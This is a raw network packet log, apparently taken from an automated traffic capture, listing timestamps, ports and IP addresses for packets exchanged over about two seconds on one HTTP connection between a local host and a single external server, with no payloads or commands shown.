Oct 31, 2024 02:09:11.833995104 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.834038973 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.834084034 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.834095001 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.834106922 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.834148884 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.834187984 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.834237099 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.834258080 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.834270000 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.834280968 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.834311962 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.834333897 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.834431887 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.834469080 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.834476948 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.834503889 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.834520102 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.834541082 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.834562063 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.834573030 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.834603071 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.834616899 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.834727049 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.834739923 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.834750891 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.834779024 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.834801912 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.834862947 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.834875107 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.834887028 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.834899902 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.834932089 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.834952116 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.835129023 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.835140944 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.835153103 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.835165024 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.835186958 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.835212946 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.835347891 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.835360050 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.835371971 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.835398912 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.835411072 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.876460075 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.876473904 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.876485109 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.876507998 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.876521111 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.876594067 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.876605034 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.876621962 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.876633883 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.876635075 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.876645088 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.876665115 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.876687050 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.876709938 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.908335924 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.908356905 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.908366919 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.908380032 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.908394098 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.908406019 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.908435106 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.908441067 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.908452988 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.908476114 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.908495903 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.908524036 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.908526897 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.908567905 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.908576012 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.908663034 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.908693075 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.908704996 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.908715963 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.908741951 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.908752918 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.908835888 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.908847094 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.908853054 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.908946991 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.908970118 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.909013033 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.909106970 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.909117937 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.909127951 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.909140110 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.909152031 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.909183979 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.909274101 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.909322023 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.909406900 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.909419060 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.909430027 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.909449100 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.909460068 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.909477949 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.909548998 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.909559965 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.909578085 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.909589052 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.909590006 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.909599066 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.909625053 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.909634113 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.950511932 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.950551033 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.950561047 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.950578928 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.950596094 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.950602055 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.950606108 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.950635910 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.950660944 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.950671911 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.950681925 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.950732946 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.950746059 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.950783014 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.950799942 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.950819016 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.950830936 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.950840950 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.950849056 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.950865030 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.950889111 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.950957060 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.950967073 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.950979948 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.950995922 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.951014042 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.951023102 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.951025963 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.951045036 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.951045036 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.951065063 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.951159954 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.951174974 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.951184988 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.951200962 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.951225996 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.951355934 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.951368093 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.951379061 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.951396942 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.951406956 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.951417923 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.951447964 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.951539993 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.951582909 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.951591015 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.951596022 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.951638937 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.951658010 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.951668978 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.951704979 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.951786995 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.951797962 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.951807976 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.951836109 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.951845884 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.951899052 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.951950073 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.951972008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.951982021 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.952018976 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.952024937 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.952035904 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.952044964 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.952066898 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.952090979 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.952307940 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.952327013 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.952337027 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.952358961 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.952383041 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.993423939 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.993469000 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.993480921 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.993505001 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.993531942 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.993541002 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.993551016 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.993561029 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.993573904 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.993586063 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.993594885 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.993597984 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.993630886 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.993659019 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.025629044 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.025708914 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.025719881 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.025732994 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.025738955 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.025747061 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.025751114 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.025763988 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.025774956 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.025779009 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.025811911 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.025820971 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.025830984 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.025832891 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.025845051 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.025857925 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.025870085 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.025872946 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.025883913 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.025892973 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.025897980 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.025919914 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.025942087 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.025985003 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.026004076 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.026027918 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.026042938 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.026046038 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.026057959 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.026068926 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.026093960 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.026118040 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.026155949 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.026166916 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.026199102 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.026201010 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.026207924 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.026242971 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.026249886 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.026262045 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.026289940 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.026300907 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.026355028 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.026392937 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.026396990 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.026407003 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.026437998 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.026462078 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.026473045 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.026484013 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.026503086 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.026532888 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.067118883 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.067208052 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.067215919 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.067228079 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.067246914 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.067261934 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.067261934 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.067272902 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.067284107 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.067286015 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.067310095 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.067353010 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.067411900 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.067421913 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.067439079 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.067450047 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.067470074 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.067490101 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.067585945 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.067595959 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.067639112 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.067641020 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.067651033 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.067682028 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.067708969 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.067789078 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.067807913 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.067817926 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.067837000 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.067852974 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.067923069 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.067933083 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.067943096 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.067975998 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.067986965 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.068065882 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.068077087 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.068088055 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.068100929 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.068114042 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.068142891 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.068164110 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.068176985 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.068228960 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.068253994 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.068303108 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.068331957 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.068342924 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.068352938 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.068383932 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.068409920 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.068411112 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.068429947 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.068455935 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.068456888 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.068490028 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.068500042 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.068528891 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.068547010 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.068558931 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.068576097 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.068577051 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.068588018 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.068595886 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.068615913 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.068650961 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.068775892 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.068794966 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.068805933 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.068824053 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.068844080 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.069174051 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.069185019 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.069196939 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.069226980 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.069236994 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.319935083 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.319950104 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.319961071 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320003033 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320014000 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320023060 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320033073 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320044041 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320060968 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320080042 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320097923 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320110083 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320122004 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320132017 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.320137978 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.320137978 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.320137978 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.320137978 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.320157051 CET	49982	80	192.168.2.5	154.216.17.34
